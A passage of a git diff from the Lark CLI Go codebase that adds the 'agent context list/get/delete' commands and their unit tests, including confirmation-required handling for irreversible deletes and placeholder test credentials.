t.Fatal("should return a non-nil spec with core hooks")
|
||||
}
|
||||
if prov.Scheme != "example" || agentID != "echo" {
|
||||
t.Errorf("provider/agent id: scheme=%q agentID=%q", prov.Scheme, agentID)
|
||||
}
|
||||
if id != core.AsBot {
|
||||
t.Errorf("identity should be bot, got %s", id)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveSpec_MalformedRef wraps a ParseRef failure into an
|
||||
// invalid_argument validation error (exit 2).
|
||||
func TestResolveSpec_MalformedRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
_, _, _, _, err := resolveSpec(f, cmd, "no-colon", "bot")
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
p, _ := errs.ProblemOf(err)
|
||||
if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
// A malformed ref teaches the <scheme>:<agent_id> shape.
|
||||
if !strings.Contains(p.Hint, "<scheme>:<agent_id>") {
|
||||
t.Errorf("malformed-ref hint should teach the ref shape, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveSpec_UnknownScheme rejects an unregistered provider scheme.
|
||||
func TestResolveSpec_UnknownScheme(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
_, _, _, _, err := resolveSpec(f, cmd, "nope:agt_x", "bot")
|
||||
if err == nil {
|
||||
t.Fatal("an unknown scheme should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
p, _ := errs.ProblemOf(err)
|
||||
if p == nil || !strings.Contains(p.Hint, "agent list") {
|
||||
t.Errorf("unknown-scheme hint should point to `agent list`, got %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveSpec_UnknownCatalogID rejects an unknown catalog entry id — the
|
||||
// framework validates it offline (a change from the old construct-only path).
|
||||
func TestResolveSpec_UnknownCatalogID(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
_, spec, _, _, err := resolveSpec(f, cmd, "example:nope", "bot")
|
||||
if err == nil || spec != nil {
|
||||
t.Fatal("an unknown catalog id should error with a nil spec")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveSpec_IdentityRejected fails the user|bot whitelist when an
|
||||
// unsupported --as is explicitly requested; no spec is returned.
|
||||
func TestResolveSpec_IdentityRejected(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
cmd := resolveCmd(t, true, "admin")
|
||||
|
||||
_, spec, _, _, err := resolveSpec(f, cmd, "example:echo", "admin")
|
||||
if err == nil {
|
||||
t.Fatal("an unsupported identity should error")
|
||||
}
|
||||
if spec != nil {
|
||||
t.Error("should not return a spec when identity validation fails")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestRuntimeFor_APIClientError surfaces a NewAPIClient failure (Config error).
|
||||
func TestRuntimeFor_APIClientError(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
f.Config = func() (*core.CliConfig, error) { return nil, errors.New("config boom") }
|
||||
|
||||
if _, err := runtimeFor(f, core.AsBot, "echo"); err == nil {
|
||||
t.Fatal("a Config error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// unconfiguredFactory returns a Factory whose Config() errors (simulating a
|
||||
// fresh install that hasn't run `config init`), so NewAPIClient fails. Used to
|
||||
// pin that the API-free paths never reach the config gate.
|
||||
func unconfiguredFactory(t *testing.T) *cmdutil.Factory {
|
||||
t.Helper()
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
f.Config = func() (*core.CliConfig, error) { return nil, errors.New("not configured") }
|
||||
return f
|
||||
}
|
||||
|
||||
// TestResolveSpec_WorksWhenUnconfigured guards the acceptance regression: offline
|
||||
// resolution must NOT touch NewAPIClient, so it succeeds even when Config errors,
|
||||
// while runtimeFor (the client path) still fails at the config gate.
|
||||
func TestResolveSpec_WorksWhenUnconfigured(t *testing.T) {
|
||||
f := unconfiguredFactory(t)
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
_, spec, _, id, err := resolveSpec(f, cmd, "example:echo", "bot")
|
||||
if err != nil {
|
||||
t.Fatalf("offline resolution should succeed when unconfigured: %v", err)
|
||||
}
|
||||
if spec == nil || id != core.AsBot {
|
||||
t.Fatalf("should return spec + bot identity, got spec=%v id=%s", spec, id)
|
||||
}
|
||||
if _, err := runtimeFor(f, id, "echo"); err == nil {
|
||||
t.Fatal("the client path (runtimeFor) should error when unconfigured (config gate)")
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveSpec_ValidatesRefBeforeConfig pins that a malformed ref / unknown
|
||||
// scheme is a validation error (exit 2) even when unconfigured — it must not be
|
||||
// masked by not_configured.
|
||||
func TestResolveSpec_ValidatesRefBeforeConfig(t *testing.T) {
|
||||
f := unconfiguredFactory(t)
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
for _, ref := range []string{"no-colon", "nope:agt_x"} {
|
||||
_, _, _, _, err := resolveSpec(f, cmd, ref, "bot")
|
||||
if err == nil {
|
||||
t.Fatalf("ref %q should also report a validation error when unconfigured", ref)
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("ref %q should be a validation error, got %T", ref, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardRun_WorksUnconfigured guards the acceptance regression: `agent
|
||||
// card` is statically synthesized and must succeed unconfigured, never hitting
|
||||
// the config gate.
|
||||
func TestAgentCardRun_WorksUnconfigured(t *testing.T) {
|
||||
f := unconfiguredFactory(t)
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
if err := agentCardRun(&cardOptions{Factory: f, Cmd: cmd, Ref: "example:echo", As: "bot", Format: "json"}); err != nil {
|
||||
t.Fatalf("agent card should succeed when unconfigured (API-free): %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentSendRun_DryRunWorksUnconfigured guards the acceptance regression:
|
||||
// `agent send --dry-run` is a client-side preview and must succeed
|
||||
// unconfigured — the example echo card declares no parameters, so no --param is
|
||||
// needed. A malformed --param must still surface as validation, unconfigured.
|
||||
func TestAgentSendRun_DryRunWorksUnconfigured(t *testing.T) {
|
||||
f := unconfiguredFactory(t)
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi", DryRun: true, As: "bot",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("send --dry-run should succeed when unconfigured: %v", err)
|
||||
}
|
||||
|
||||
// A malformed --param (no '=') is still a validation error, unconfigured.
|
||||
err = agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi",
|
||||
Params: []string{"noequals"}, DryRun: true, As: "bot",
|
||||
})
|
||||
if err == nil || !errs.IsValidation(err) {
|
||||
t.Fatalf("a malformed --param should report a validation error when unconfigured, got %v", err)
|
||||
}
|
||||
}
|
||||
247
cmd/agent/context.go
Normal file
247
cmd/agent/context.go
Normal file
@@ -0,0 +1,247 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"sort"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// contextOptions holds all inputs for the `agent context list|get|delete`
|
||||
// leaves. A single struct backs all three so the shared fields (Factory, Cmd,
|
||||
// Ref, As) are wired once; each RunE reads only the fields its verb needs.
|
||||
type contextOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Ref string
|
||||
CtxID string
|
||||
Yes bool
|
||||
As string
|
||||
Format string
|
||||
}
|
||||
|
||||
// NewCmdAgentContext builds the `agent context` command group: manage a remote
|
||||
// agent's multi-turn contexts (each verb gated on its own capability:
|
||||
// context_list / context_get / context_delete). It is a pure group with
|
||||
// no RunE so an unknown subcommand is reported rather than silently swallowed.
|
||||
func NewCmdAgentContext(f *cmdutil.Factory) *cobra.Command {
|
||||
cmd := &cobra.Command{
|
||||
Use: "context",
|
||||
Short: "Manage a remote agent's multi-turn contexts (sessions)",
|
||||
Long: "context list <agent_ref> lists sessions; context get <agent_ref> <ctx-id> shows session detail; context delete <agent_ref> <ctx-id> deletes a session (high-risk, needs --yes).",
|
||||
}
|
||||
cmd.AddCommand(NewCmdAgentContextList(f))
|
||||
cmd.AddCommand(NewCmdAgentContextGet(f))
|
||||
cmd.AddCommand(NewCmdAgentContextDelete(f))
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentContextList builds `agent context list <ref>`: enumerate the
|
||||
// agent's multi-turn contexts into {contexts:[...]} with a meta.count. Risk=read.
|
||||
func NewCmdAgentContextList(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &contextOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "list <agent_ref>",
|
||||
Short: "List a remote agent's multi-turn contexts",
|
||||
Long: "List the multi-turn contexts (sessions) of the agent addressed by agent_ref.",
|
||||
Args: exactArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
return agentContextListRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentContextGet builds `agent context get <ref> <ctx-id>`: fetch a
|
||||
// single context's detail. Risk=read.
|
||||
func NewCmdAgentContextGet(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &contextOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "get <agent_ref> <ctx-id>",
|
||||
Short: "Show the detail of a single multi-turn context",
|
||||
Long: "Show the detail of the multi-turn context ctx-id under the agent addressed by agent_ref.",
|
||||
Args: exactArgsWithUsage(2),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
opts.CtxID = args[1]
|
||||
return agentContextGetRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentContextDelete builds `agent context delete <ref> <ctx-id>`: destroy
|
||||
// a multi-turn context. Deletion is irreversible, so it is high-risk-write and
|
||||
// requires --yes; without it the command returns a confirmation_required error
|
||||
// (exit 10) before touching the API. Risk=high-risk-write.
|
||||
func NewCmdAgentContextDelete(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &contextOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "delete <agent_ref> <ctx-id>",
|
||||
Short: "Delete a remote agent's multi-turn context (high-risk, needs --yes)",
|
||||
Long: "Delete the multi-turn context ctx-id under the agent addressed by agent_ref. Deletion is irreversible and requires --yes to confirm; otherwise it returns confirmation_required (exit 10).",
|
||||
Args: exactArgsWithUsage(2),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
opts.CtxID = args[1]
|
||||
return agentContextDeleteRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认删除(高危操作,不加则返回 exit 10)")
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskHighRiskWrite)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// agentContextListRun runs `context list`: resolves the provider, lists
|
||||
// contexts, sorts them newest-first by UpdatedAt, and emits {contexts:[...]}
|
||||
// with meta.count through content-safety scanning (the rollup is derived from
|
||||
// untrusted agent activity).
|
||||
func agentContextListRun(opts *contextOptions) error {
|
||||
f := opts.Factory
|
||||
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Capability gate BEFORE the client: context_list is derived from ListContexts
|
||||
// being wired, so a spec without it returns unsupported_capability offline.
|
||||
if spec.ListContexts == nil {
|
||||
return capabilityError(opts.Ref, "context list", iagent.CapContextList)
|
||||
}
|
||||
rt, err := runtimeFor(f, id, agentID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Local scope preflight: after runtimeFor, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
contexts, err := spec.ListContexts(opts.Cmd.Context(), rt)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Newest-first: sort by UpdatedAt (RFC3339 UTC) descending; a stable sort
|
||||
// preserves the provider's relative order for equal timestamps, and contexts
|
||||
// with no timestamp sort last.
|
||||
sort.SliceStable(contexts, func(i, j int) bool { return contexts[i].UpdatedAt > contexts[j].UpdatedAt })
|
||||
if contexts == nil {
|
||||
contexts = []iagent.ContextSummary{} // always emit [] not null (matches the Card.Parameters array convention)
|
||||
}
|
||||
return scanAndEmitData(f, opts.Cmd, opts.Format,
|
||||
map[string]interface{}{"contexts": contexts},
|
||||
&output.Meta{Count: len(contexts)},
|
||||
func(w io.Writer) { printContextsTSV(w, contexts) })
|
||||
}
|
||||
|
||||
// agentContextGetRun runs `context get`: resolves the provider, fetches the
|
||||
// context detail (metadata + rollup + the single active_task, NOT the full task
|
||||
// list), derives the active task's IsTerminal, and emits it through
|
||||
// content-safety scanning (active_task.Summary is untrusted agent text).
|
||||
func agentContextGetRun(opts *contextOptions) error {
|
||||
f := opts.Factory
|
||||
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Capability gate BEFORE the client.
|
||||
if spec.GetContext == nil {
|
||||
return capabilityError(opts.Ref, "context get", iagent.CapContextGet)
|
||||
}
|
||||
rt, err := runtimeFor(f, id, agentID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Local scope preflight: after runtimeFor, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
detail, err := spec.GetContext(opts.Cmd.Context(), rt, opts.CtxID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if detail != nil && detail.ActiveTask != nil {
|
||||
// Derive IsTerminal from State (single source of truth) for the active task
|
||||
// summary before emission — the provider only fills State.
|
||||
detail.ActiveTask.IsTerminal = detail.ActiveTask.State.IsTerminal()
|
||||
}
|
||||
return scanAndEmitData(f, opts.Cmd, opts.Format, detail, nil,
|
||||
func(w io.Writer) { printContextDetailPretty(w, detail) })
|
||||
}
|
||||
|
||||
// agentContextDeleteRun runs `context delete`. The --yes confirmation guard runs
|
||||
// first so a missing confirmation returns confirmation_required (exit 10) before
|
||||
// any provider is built and holds even under a nil Factory. Only a
|
||||
// confirmed delete reaches resolveSpec + DeleteContext.
|
||||
func agentContextDeleteRun(opts *contextOptions) error {
|
||||
if !opts.Yes {
|
||||
return cmdutil.RequireConfirmation("agent context delete")
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Capability gate BEFORE the client.
|
||||
if spec.DeleteContext == nil {
|
||||
return capabilityError(opts.Ref, "context delete", iagent.CapContextDelete)
|
||||
}
|
||||
rt, err := runtimeFor(f, id, agentID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Local scope preflight: after runtimeFor, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := spec.DeleteContext(opts.Cmd.Context(), rt, opts.CtxID); err != nil {
|
||||
return err
|
||||
}
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
fmt.Fprintf(f.IOStreams.Out, "context_id: %s\ndeleted: true\n", kvValue(opts.CtxID))
|
||||
return nil
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(id),
|
||||
Data: map[string]interface{}{"context_id": opts.CtxID, "deleted": true},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
529
cmd/agent/context_test.go
Normal file
529
cmd/agent/context_test.go
Normal file
@@ -0,0 +1,529 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// contextCmdCtx builds a `lark-cli agent context <leaf>` command whose --as flag
|
||||
// is set to bot so ResolveAs honors it verbatim, and carries a context.
|
||||
func contextCmdCtx(t *testing.T, leaf string) *cobra.Command {
|
||||
t.Helper()
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
group := &cobra.Command{Use: "agent"}
|
||||
grp := &cobra.Command{Use: "context"}
|
||||
l := &cobra.Command{Use: leaf}
|
||||
root.AddCommand(group)
|
||||
group.AddCommand(grp)
|
||||
grp.AddCommand(l)
|
||||
l.Flags().String("as", "", "identity")
|
||||
if err := l.Flags().Set("as", "bot"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
l.SetContext(context.Background())
|
||||
return l
|
||||
}
|
||||
|
||||
// contextTestOpts wires a contextOptions against a real (test) Factory,
|
||||
// addressing the scripted fakeflow agent agt_x under a bot identity. The
|
||||
// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
|
||||
// test; provider behavior is scripted via setScripted.
|
||||
func contextTestOpts(t *testing.T, leaf string) (*contextOptions, *httpmock.Registry) {
|
||||
t.Helper()
|
||||
registerScripted()
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, reg := cmdutil.TestFactory(t, cfg)
|
||||
return &contextOptions{
|
||||
Factory: f,
|
||||
Cmd: contextCmdCtx(t, leaf),
|
||||
Ref: "fakeflow:agt_x",
|
||||
As: "bot",
|
||||
}, reg
|
||||
}
|
||||
|
||||
// TestContextDeleteRequiresYes pins that `context delete` without --yes is a
|
||||
// confirmation_required error (exit 10), raised before any provider is built.
|
||||
func TestContextDeleteRequiresYes(t *testing.T) {
|
||||
err := agentContextDeleteRun(&contextOptions{Ref: "example:agt_x", CtxID: "c1", Yes: false})
|
||||
if err == nil {
|
||||
t.Fatal("context delete without --yes should report confirmation_required")
|
||||
}
|
||||
if !errs.IsConfirmationRequired(err) {
|
||||
t.Fatalf("should be a confirmation_required error, got %T", err)
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != output.ExitConfirmationRequired {
|
||||
t.Fatalf("exit code should be 10, got %d", code)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
|
||||
t.Fatalf("subtype should be confirmation_required, got %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextDeleteWithYes pins the confirmed path: --yes reaches the provider,
|
||||
// deletes the session, and emits a success envelope.
|
||||
func TestContextDeleteWithYes(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "delete")
|
||||
opts.CtxID = "sess_1"
|
||||
opts.Yes = true
|
||||
var deleted string
|
||||
setScripted(t, scriptedHooks{deleteContext: func(ctxID string) error {
|
||||
deleted = ctxID
|
||||
return nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentContextDeleteRun(opts); err != nil {
|
||||
t.Fatalf("context delete --yes should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
if data["context_id"] != "sess_1" || data["deleted"] != true {
|
||||
t.Errorf("data should echo {context_id, deleted:true}, got %v", env.Data)
|
||||
}
|
||||
if deleted != "sess_1" {
|
||||
t.Errorf("provider should receive the context id to delete, got %q", deleted)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextDeleteProviderError surfaces a provider DeleteContext failure
|
||||
// (non-zero business code) after --yes passes.
|
||||
func TestContextDeleteProviderError(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "delete")
|
||||
opts.CtxID = "sess_1"
|
||||
opts.Yes = true
|
||||
setScripted(t, scriptedHooks{deleteContext: func(string) error {
|
||||
return errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
|
||||
}})
|
||||
if err := agentContextDeleteRun(opts); err == nil {
|
||||
t.Fatal("a DeleteContext error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextDeleteInvalidRef surfaces a malformed ref as a validation error
|
||||
// after the --yes confirmation guard passes.
|
||||
func TestContextDeleteInvalidRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
err := agentContextDeleteRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Yes: true, Cmd: contextCmdCtx(t, "delete"), As: "bot", Factory: f})
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListEmitsContexts pins that `context list` returns
|
||||
// {contexts:[...]} with a meta.count.
|
||||
func TestContextListEmitsContexts(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
|
||||
return []iagent.ContextSummary{
|
||||
{ContextID: "sess_1", Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
|
||||
{ContextID: "sess_2"},
|
||||
}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentContextListRun(opts); err != nil {
|
||||
t.Fatalf("context list should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
contexts, ok := data["contexts"].([]interface{})
|
||||
if !ok || len(contexts) != 2 {
|
||||
t.Fatalf("data.contexts should have 2 entries, got %v", data["contexts"])
|
||||
}
|
||||
if env.Meta == nil || env.Meta.Count != 2 {
|
||||
t.Errorf("meta.count should be 2, got %+v", env.Meta)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListSortedByUpdatedAtDesc pins the ordering + enriched-field
|
||||
// contract: the provider returns contexts out of order, and the command emits
|
||||
// them newest-first by updated_at while carrying the updated_at / task_count /
|
||||
// awaiting_input rollup for each.
|
||||
func TestContextListSortedByUpdatedAtDesc(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
|
||||
return []iagent.ContextSummary{
|
||||
{ContextID: "old", UpdatedAt: "2026-07-05T10:00:00Z", TaskCount: 1},
|
||||
{ContextID: "new", UpdatedAt: "2026-07-05T12:00:00Z", TaskCount: 3, AwaitingInput: true},
|
||||
{ContextID: "mid", UpdatedAt: "2026-07-05T11:00:00Z", TaskCount: 2},
|
||||
}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentContextListRun(opts); err != nil {
|
||||
t.Fatalf("context list should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
contexts, ok := data["contexts"].([]interface{})
|
||||
if !ok || len(contexts) != 3 {
|
||||
t.Fatalf("data.contexts should have 3 entries, got %v", data["contexts"])
|
||||
}
|
||||
want := []string{"new", "mid", "old"}
|
||||
for i, w := range want {
|
||||
c, _ := contexts[i].(map[string]interface{})
|
||||
if c["context_id"] != w {
|
||||
t.Errorf("contexts[%d].context_id should be %q (newest-first), got %v", i, w, c["context_id"])
|
||||
}
|
||||
}
|
||||
first, _ := contexts[0].(map[string]interface{})
|
||||
if first["updated_at"] != "2026-07-05T12:00:00Z" {
|
||||
t.Errorf("contexts[0].updated_at should be carried, got %v", first["updated_at"])
|
||||
}
|
||||
if first["task_count"] != float64(3) {
|
||||
t.Errorf("contexts[0].task_count should be 3, got %v", first["task_count"])
|
||||
}
|
||||
if first["awaiting_input"] != true {
|
||||
t.Errorf("contexts[0].awaiting_input should be true, got %v", first["awaiting_input"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListError surfaces a provider ListContexts failure.
|
||||
func TestContextListError(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
|
||||
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
|
||||
}})
|
||||
if err := agentContextListRun(opts); err == nil {
|
||||
t.Fatal("a ListContexts error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListInvalidRef surfaces a malformed ref as a validation error.
|
||||
func TestContextListInvalidRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
err := agentContextListRun(&contextOptions{Ref: "no-colon", Cmd: contextCmdCtx(t, "list"), As: "bot", Factory: f})
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetEmitsDetail pins the enriched `context get` shape: metadata +
|
||||
// the task_count / awaiting_input rollup + a single active_task — and NO longer
|
||||
// a full tasks[] array (that moved to `agent task list --context-id`). The
|
||||
// active task's is_terminal is derived from State (input_required ⇒ false).
|
||||
func TestContextGetEmitsDetail(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "get")
|
||||
opts.CtxID = "sess_1"
|
||||
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
|
||||
return &iagent.ContextDetail{
|
||||
ContextID: ctxID, Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00",
|
||||
